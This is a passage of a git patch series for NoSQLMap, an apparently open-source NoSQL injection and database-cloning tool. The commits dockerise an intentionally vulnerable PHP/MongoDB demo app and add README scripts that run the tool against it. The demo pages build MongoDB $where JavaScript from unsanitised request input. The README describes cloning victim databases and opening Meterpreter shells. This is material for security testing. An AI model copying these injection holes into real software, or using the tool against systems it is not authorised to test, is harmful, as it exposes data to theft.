vuln_apps/src/orderdata.php rename vuln_apps/{ => src}/populate_db.php (99%) create mode 100644 vuln_apps/src/userdata.php delete mode 100644 vuln_apps/userdata.php diff --git a/README.md b/README.md index 6841632..50abb20 100644 --- a/README.md +++ b/README.md @@ -1,61 +1,73 @@ -NoSQLMap -======== -[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) +# NoSQLMap + +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. -Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). - +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo\_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). ## NoSQLMap MongoDB Management Attack Demo. -NoSQLMap MongoDB Management Attack Demo +NoSQLMap MongoDB Management Attack Demo ## Screenshots + ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) # Summary + ## What is NoSQL? + A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. ## DBMS Support + Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases. -## Requirements -On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. +## Requirements + +On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. Varies based on features used: -- Metasploit Framework, -- Python with PyMongo, -- httplib2, -- and urllib available. -- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions. -There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. +- Metasploit Framework, +- Python with PyMongo, +- httplib2, +- and urllib available. +- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions. + +There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. ## Setup + ``` python setup.py install ``` + Alternatively you can build a Docker image by changing to the docker directory and entering: + ``` docker build -t nosqlmap . ``` or you can use Docker-compose to run Nosqlmap: + ``` docker-compose build docker-compose run nosqlmap ``` + ## Usage Instructions + Start with + ``` python NoSQLMap ``` -NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: +NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: ``` 1-Set options (do this first) @@ -66,11 +78,12 @@ x-Exit ``` Explanation of options: + ``` 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack. 2. Set web app port-TCP port for the web application if a web application is the target. 3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102). -4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. +4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. 5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to. 6. Set shell listener port-If opening Meterpreter shells, specify the port. 7. Load options file-Load a previously saved set of settings for 1-6. @@ -79,4 +92,14 @@ Explanation of options: x. Back to main menu-Use this once the options are set to start your attacks. ``` -Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo_](https://twitter.com/codingo_) if you have any questions or suggestions. +Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo\_](https://twitter.com/codingo_) if you have any questions or suggestions. + +## Vulnerable Applications + +This repo also includes an intentionally vulnerable web application to test NoSQLMap with. To run this application, you need Docker installed. Then you can run the following commands from the /vuln_apps directory. + +``` +docker-compose build && docker-compose up +``` + +Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1/index.html diff --git a/vuln_apps/acct.php b/vuln_apps/acct.php deleted file mode 100644 index c03feef..0000000 --- a/vuln_apps/acct.php +++ /dev/null @@ -1,39 +0,0 @@ - - -Payment information - - -customers; - $collection = $db->paymentinfo; - $search = $_GET['acctid']; -// $criteria = array('id' => $search); -// $fields = array('name','id','cc','cvv2'); - - - $cursor = $collection->find(array('id' => $search)); - -// echo $search; - echo $cursor->count() . ' document(s) found.
'; - - foreach ($cursor as $obj) { - echo 'Name: ' . $obj['name'] . '
'; - echo 'Customer ID: ' . $obj['id'] . '
'; - echo 'Card Number: ' . $obj['cc'] . '
'; - echo 'CVV2 Code: ' . $obj['cvv2'] . '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -?> - - - - \ No newline at end of file diff --git a/vuln_apps/cust.html b/vuln_apps/cust.html deleted file mode 100644 index ed80d22..0000000 --- a/vuln_apps/cust.html +++ /dev/null @@ -1,21 +0,0 @@ - - -Customer Info - - - -

Customer Information

-

Enter your customer ID to show your account information:

- -
-Customer ID: - -
- -
- - - \ No newline at end of file diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml new file mode 100644 index 0000000..468c294 --- /dev/null +++ b/vuln_apps/docker-compose.yml @@ -0,0 +1,27 @@ +version: "3.8" +services: + apache: + container_name: apache + build: ./docker/apache + links: + - php + ports: + - "80:80" + volumes: + - ./src:/usr/local/apache2/htdocs + php: + container_name: php + build: ./docker/php + ports: + - "9000:9000" + volumes: + - ./src:/usr/local/apache2/htdocs + working_dir: /usr/local/apache2/htdocs + mongo: + container_name: mongo + environment: + MONGO_INITDB_ROOT_USERNAME: root + MONGO_INITDB_ROOT_PASSWORD: prisma + build: ./docker/mongo + ports: + - "27017:27017" diff --git a/vuln_apps/docker/apache/Dockerfile b/vuln_apps/docker/apache/Dockerfile new file mode 100644 index 0000000..9562989 --- /dev/null +++ b/vuln_apps/docker/apache/Dockerfile @@ -0,0 +1,6 @@ +FROM httpd:2.4.51 + +COPY apache.conf /usr/local/apache2/conf/apache.conf + +RUN echo "Include /usr/local/apache2/conf/apache.conf" \ + >> /usr/local/apache2/conf/httpd.conf \ No newline at end of file diff --git a/vuln_apps/docker/apache/apache.conf b/vuln_apps/docker/apache/apache.conf new file mode 100644 index 0000000..76f67dd --- /dev/null +++ b/vuln_apps/docker/apache/apache.conf @@ -0,0 +1,16 @@ +LoadModule deflate_module /usr/local/apache2/modules/mod_deflate.so +LoadModule proxy_module /usr/local/apache2/modules/mod_proxy.so +LoadModule proxy_fcgi_module /usr/local/apache2/modules/mod_proxy_fcgi.so + + + ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://php:9000/usr/local/apache2/htdocs/$1 + + DocumentRoot /usr/local/apache2/htdocs + + + Options -Indexes +FollowSymLinks + DirectoryIndex index.php + AllowOverride All + Require all granted + + \ No newline at end of file diff --git a/vuln_apps/docker/mongo/Dockerfile b/vuln_apps/docker/mongo/Dockerfile new file mode 100644 index 0000000..6920c0c --- /dev/null +++ b/vuln_apps/docker/mongo/Dockerfile @@ -0,0 +1,5 @@ +FROM mongo:latest + +ADD ./mongo.nosql /tmp/mongo.nosql +ADD ./import.sh /tmp/import.sh +RUN chmod +x /tmp/import.sh diff --git a/vuln_apps/docker/mongo/import.sh b/vuln_apps/docker/mongo/import.sh new file mode 100644 index 0000000..a845618 --- /dev/null +++ b/vuln_apps/docker/mongo/import.sh @@ -0,0 +1,2 @@ +#!/bin/bash +cat /tmp/mongo.nosql | mongosh "mongodb://root:prisma@mongo:27017" \ No newline at end of file diff --git a/vuln_apps/mongo.nosql b/vuln_apps/docker/mongo/mongo.nosql similarity index 99% rename from vuln_apps/mongo.nosql rename to vuln_apps/docker/mongo/mongo.nosql index 45bfcbc..577f0ed 100644 --- a/vuln_apps/mongo.nosql +++ b/vuln_apps/docker/mongo/mongo.nosql @@ -5,7 +5,6 @@ db.orders.insert({"id":"1","name":"Robin","item":"Music gift cards","quantity":" db.orders.insert({"id":"1001","name":"Moses","item":"Miami Heat tickets","quantity":"1000"}) db.orders.insert({"id":"66","name":"Rick","item":"Black hoodie","quantity":"1"}) db.orders.insert({"id":"0","name":"Nobody","item":"Nothing","quantity":"0"}) - use customers db.paymentinfo.insert({"name":"Adrien","id":"42","cc":"5555123456789999","cvv2":"1234"}) db.paymentinfo.insert({"name":"Justin","id":"99","cc":"5555123456780000","cvv2":"4321"}) @@ -13,7 +12,6 @@ db.paymentinfo.insert({"name":"Robin","id":"1","cc":"3333444455556666","cvv2":"2 db.paymentinfo.insert({"name":"Moses","id":"2","cc":"4444555566667777","cvv2":"3333"}) db.paymentinfo.insert({"name":"Rick","id":"3","cc":"5555666677778888","cvv2":"5678"}) db.paymentinfo.insert({"name":"Nobody","id":"0","cc":"45009876543215555","cvv2":"9999"}) - use appUserData db.users.insert({"name":"Adrien","username":"adrien","email":"adrien@sec642.org"}) db.users.insert({"name":"Justin","username":"justin","email":"justin@sec642.org"}) diff --git a/vuln_apps/docker/php/Dockerfile b/vuln_apps/docker/php/Dockerfile new file mode 100644 index 0000000..a266475 --- /dev/null +++ b/vuln_apps/docker/php/Dockerfile @@ -0,0 +1,13 @@ +FROM php:8.1-fpm + +RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini" +RUN echo "extension=mongodb.so" >> "$PHP_INI_DIR/php.ini" + +RUN apt-get update \ + && apt-get install -y libcurl4-openssl-dev pkg-config libssl-dev \ + && apt-get install -y git zip unzip \ + && pecl install mongodb \ + && php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \ + && php composer-setup.php --install-dir=/usr/local/bin --filename=composer \ + && rm composer-setup.php \ + && composer require mongodb/mongodb \ No newline at end of file diff --git a/vuln_apps/orderdata.php b/vuln_apps/orderdata.php deleted file mode 100644 index 427359f..0000000 --- a/vuln_apps/orderdata.php +++ /dev/null @@ -1,51 +0,0 @@ - - - - - -Order Lookup - - - -shop; - $collection = $db->orders; - $search = $_GET['ordersearch']; - $js = "function () { var query = '". $search . "'; return this.id == query;}"; - //print $js; - print '
'; - - $cursor = $collection->find(array('$where' => $js)); - echo $cursor->count() . ' order(s) found.
'; - - foreach ($cursor as $obj) { - echo 'Order ID: ' . $obj['id'] . '
'; - echo 'Name: ' . $obj['name'] . '
'; - echo 'Item: ' . $obj['item'] . '
'; - echo 'Quantity: ' . $obj['quantity']. '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -} -?> - - -Use the Order ID to locate your order:
-
-

Search

-
-
- -
- - diff --git a/vuln_apps/src/acct.php b/vuln_apps/src/acct.php new file mode 100644 index 0000000..21725a7 --- /dev/null +++ b/vuln_apps/src/acct.php @@ -0,0 +1,42 @@ + + + + Payment information + + + + [], + ]; + $filter = ['id' => $_GET['acctid']]; + $query = new MongoDB\Driver\Query($filter, $options); + + $cursor = $conn->executeQuery('customers.paymentinfo', $query); + $counter = 0; + + foreach ($cursor as $obj) { + $counter++; + echo 'Name: ' . $obj->name . '
'; + echo 'Customer ID: ' . $obj->id . '
'; + echo 'Card Number: ' . $obj->cc . '
'; + echo 'CVV2 Code: ' . $obj->cvv2 . '
'; + echo '
'; + } + + echo $counter . ' document(s) found.
'; + + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + ?> + + + + + \ No newline at end of file diff --git a/vuln_apps/src/index.html b/vuln_apps/src/index.html new file mode 100644 index 0000000..62996f1 --- /dev/null +++ b/vuln_apps/src/index.html @@ -0,0 +1,17 @@ + + + Customer Info + + + +

Customer Information

+

Enter your customer ID to show your account information:

+ +
+ Customer ID: + +
+ +
+ + diff --git a/vuln_apps/src/orderdata.php b/vuln_apps/src/orderdata.php new file mode 100644 index 0000000..0430cc2 --- /dev/null +++ b/vuln_apps/src/orderdata.php @@ -0,0 +1,49 @@ + + + + Order Lookup + + + shop; + $collection = $db->orders; + $search = $_GET['ordersearch']; + $js = "function () { var query = '". $search . "'; return this.id == query;}"; + //print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' order(s) found.
'; + + foreach ($cursor as $obj) { + echo 'Order ID: ' . $obj['id'] . '
'; + echo 'Name: ' . $obj['name'] . '
'; + echo 'Item: ' . $obj['item'] . '
'; + echo 'Quantity: ' . $obj['quantity']. '
'; + echo '
'; + } + $conn->close(); + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + } + ?> + + + Use the Order ID to locate your order:
+
+

Search

+
+
+ +
+ + + \ No newline at end of file diff --git a/vuln_apps/populate_db.php b/vuln_apps/src/populate_db.php similarity index 99% rename from vuln_apps/populate_db.php rename to vuln_apps/src/populate_db.php index 44d2576..c058543 100644 --- a/vuln_apps/populate_db.php +++ b/vuln_apps/src/populate_db.php @@ -104,4 +104,4 @@ echo $obj["email"] . "
"; } -?> +?> \ No newline at end of file diff --git a/vuln_apps/src/userdata.php b/vuln_apps/src/userdata.php new file mode 100644 index 0000000..bf74313 --- /dev/null +++ b/vuln_apps/src/userdata.php @@ -0,0 +1,48 @@ + + + + User Profile Lookup + + + appUserData; + $collection = $db->users; + $search = $_GET['usersearch']; + $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; + print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' user found.
'; + + foreach ($cursor as $obj) { + echo 'Name: ' . $obj['name'] . '
'; + echo 'Username: ' . $obj['username'] . '
'; + echo 'Email: ' . $obj['email'] . '
'; + echo '
'; + } + + $conn->close(); + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + } + ?> + + + Enter your username:
+
+

Search

+
+
+ +
+ + \ No newline at end of file diff --git a/vuln_apps/userdata.php b/vuln_apps/userdata.php deleted file mode 100644 index 0fc8165..0000000 --- a/vuln_apps/userdata.php +++ /dev/null @@ -1,50 +0,0 @@ - - - - - -User Profile Lookup - - - -appUserData; - $collection = $db->users; - $search = $_GET['usersearch']; - $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; - print $js; - print '
'; - - $cursor = $collection->find(array('$where' => $js)); - echo $cursor->count() . ' user found.
'; - - foreach ($cursor as $obj) { - echo 'Name: ' . $obj['name'] . '
'; - echo 'Username: ' . $obj['username'] . '
'; - echo 'Email: ' . $obj['email'] . '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -} -?> - - -Enter your username:
-
-

Search

-
-
- -
- - From 15aeec1e3daa4eb45d49f663dcdeca5374a8a31c Mon Sep 17 00:00:00 2001 From: Everton Vieira <54176981+gu4xin1m@users.noreply.github.com> Date: Fri, 29 Sep 2023 00:29:05 -0300 Subject: [PATCH 21/25] Update Dockerfile Fixing the dependency error. Certifi's last python 2.7 release is 2020.04.5, otherwise the docker run command will raise a error. --- docker/Dockerfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docker/Dockerfile b/docker/Dockerfile index 511d0a8..6ff83f2 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -10,6 +10,8 @@ WORKDIR /root/NoSqlMap RUN python setup.py install +RUN python -m pip install requests 'certifi<=2020.4.5.1' + COPY entrypoint.sh /tmp/entrypoint.sh RUN chmod +x /tmp/entrypoint.sh From 7f8fab893555254f03da48f725b9189108625f23 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 9 Jun 2025 21:06:50 +0000 Subject: [PATCH 22/25] Bump requests from 2.20.0 to 2.32.4 Bumps [requests](https://github.com/psf/requests) from 2.20.0 to 2.32.4. - [Release notes](https://github.com/psf/requests/releases) - [Changelog](https://github.com/psf/requests/blob/main/HISTORY.md) - [Commits](https://github.com/psf/requests/compare/v2.20.0...v2.32.4) --- updated-dependencies: - dependency-name: requests dependency-version: 2.32.4 dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index b3503f3..bbf747d 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.20.0"], + "requests==2.32.4"], author = "tcstool", author_email = "codingo@protonmail.com", From cc4fa55f08b83716294cfe4f8f963dcbcd0e37d9 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Thu, 19 Feb 2026 12:57:12 -0800 Subject: [PATCH 23/25] Fix overeager requests update incompatible with python 2.7 Python 2.7 was very sad with dependabot's change. Fixed! Also three docker improvements: - Make development easier with docker by using the files from the current directory instead of checking out a fresh copy. This clutters the top level directory a bit, but it feels like a good tradeoff. - Have the docker app listen on port 8080 by default, as fiddling with port 80 is a bit scary - Have the docker app accept commandline parameters And, finally, a README.md improvement: - Show an example script to tickle three vulnerabilities in vuln_apps --- docker/Dockerfile => Dockerfile | 7 ++- README.md | 45 ++++++++++++++++++- .../docker-compose.yml => docker-compose.yml | 0 docker/entrypoint.sh | 2 - entrypoint.sh | 2 + setup.py | 2 +- vuln_apps/docker-compose.yml | 2 +- 7 files changed, 50 insertions(+), 10 deletions(-) rename docker/Dockerfile => Dockerfile (71%) rename docker/docker-compose.yml => docker-compose.yml (100%) delete mode 100644 docker/entrypoint.sh create mode 100644 entrypoint.sh diff --git a/docker/Dockerfile b/Dockerfile similarity index 71% rename from docker/Dockerfile rename to Dockerfile index 6ff83f2..3c46d8d 100644 --- a/docker/Dockerfile +++ b/Dockerfile @@ -4,13 +4,12 @@ RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositori RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories RUN apk update && apk add mongodb git -RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap - -WORKDIR /root/NoSqlMap +WORKDIR /work +COPY . /work RUN python setup.py install -RUN python -m pip install requests 'certifi<=2020.4.5.1' +RUN python -m pip install 'requests<2.28' 'certifi<=2020.4.5.1' COPY entrypoint.sh /tmp/entrypoint.sh RUN chmod +x /tmp/entrypoint.sh diff --git a/README.md b/README.md index 50abb20..1aa3b47 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,7 @@ There are some various other libraries required that a normal Python installatio python setup.py install ``` -Alternatively you can build a Docker image by changing to the docker directory and entering: +Alternatively you can build a Docker image by entering: ``` docker build -t nosqlmap . @@ -102,4 +102,45 @@ This repo also includes an intentionally vulnerable web application to test NoSQ docker-compose build && docker-compose up ``` -Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1/index.html +Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1:8080/index.html + +## Scripting + +The cli can also be scripted. Here's an example script using NoSQLMap to detect the vulnerabilities in vuln_apps: + +``` +$ echo "1. Account Lookup (acct.php)" +$ docker-compose run --remove-orphans nosqlmap \ + --attack 2 \ + --victim host.docker.internal \ + --webPort 8080 \ + --uri "/acct.php?acctid=test" \ + --httpMethod GET \ + --params 1 \ + --injectSize 4 \ + --injectFormat 2 \ + --doTimeAttack n + +$ echo "2. User Data Lookup (userdata.php) - JavaScript Injection" +$ docker-compose run --remove-orphans nosqlmap \ + --attack 2 \ + --victim host.docker.internal \ + --webPort 8080 \ + --uri "/userdata.php?usersearch=test" \ + --httpMethod GET \ + --params 1 \ + --injectSize 4 \ + --injectFormat 2 \ + --doTimeAttack n + +$ echo "3. Order Data Lookup (orderdata.php) - JavaScript Injection" +$ docker-compose run --remove-orphans nosqlmap \ + --attack 2 \ + --victim host.docker.internal \ + --webPort 8080 \ + --uri "/orderdata.php?ordersearch=test" \ + --httpMethod GET \ + --params 1 \ + --injectSize 4 \ + --injectFormat 2 \ + --doTimeAttack n diff --git a/docker/docker-compose.yml b/docker-compose.yml similarity index 100% rename from docker/docker-compose.yml rename to docker-compose.yml diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh deleted file mode 100644 index eb9b8b4..0000000 --- a/docker/entrypoint.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/ash -python nosqlmap.py diff --git a/entrypoint.sh b/entrypoint.sh new file mode 100644 index 0000000..1831ba8 --- /dev/null +++ b/entrypoint.sh @@ -0,0 +1,2 @@ +#!/bin/ash +python nosqlmap.py "$@" diff --git a/setup.py b/setup.py index bbf747d..1372457 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.32.4"], + "requests<2.28"], author = "tcstool", author_email = "codingo@protonmail.com", diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml index 468c294..32f0553 100644 --- a/vuln_apps/docker-compose.yml +++ b/vuln_apps/docker-compose.yml @@ -6,7 +6,7 @@ services: links: - php ports: - - "80:80" + - "8080:80" volumes: - ./src:/usr/local/apache2/htdocs php: From f460d29f8923afd85ee3779dd71ec3600865c688 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Thu, 19 Feb 2026 14:58:34 -0800 Subject: [PATCH 24/25] vuln_apps: let user override ports if they like --- vuln_apps/docker-compose.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml index 32f0553..3572ad4 100644 --- a/vuln_apps/docker-compose.yml +++ b/vuln_apps/docker-compose.yml @@ -6,14 +6,14 @@ services: links: - php ports: - - "8080:80" + - "${NOSQLMAP_VULN_APPS_APACHE_PORT:-8080}:80" volumes: - ./src:/usr/local/apache2/htdocs php: container_name: php build: ./docker/php ports: - - "9000:9000" + - "${NOSQLMAP_VULN_APPS_PHP_PORT:-9000}:9000" volumes: - ./src:/usr/local/apache2/htdocs working_dir: /usr/local/apache2/htdocs @@ -24,4 +24,4 @@ services: MONGO_INITDB_ROOT_PASSWORD: prisma build: ./docker/mongo ports: - - "27017:27017" + - "${NOSQLMAP_VULN_APPS_MONGO_PORT:-27017}:27017" From 589a1ae97bc13a205332c32d2bea3f02c989a578 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Thu, 19 Feb 2026 15:14:53 -0800 Subject: [PATCH 25/25] userdata.php: fix typo that broke demo. (Found by Claude.) --- vuln_apps/src/userdata.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vuln_apps/src/userdata.php b/vuln_apps/src/userdata.php index bf74313..11d1216 100644 --- a/vuln_apps/src/userdata.php +++ b/vuln_apps/src/userdata.php @@ -11,7 +11,7 @@ $conn = new MongoClient('mongodb://127.0.0.1'); $db = $conn->appUserData; $collection = $db->users; - $search = $_GET['usersearch']; + $usersearch = $_GET['usersearch']; $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; print $js; print '
'; @@ -45,4 +45,4 @@ - \ No newline at end of file +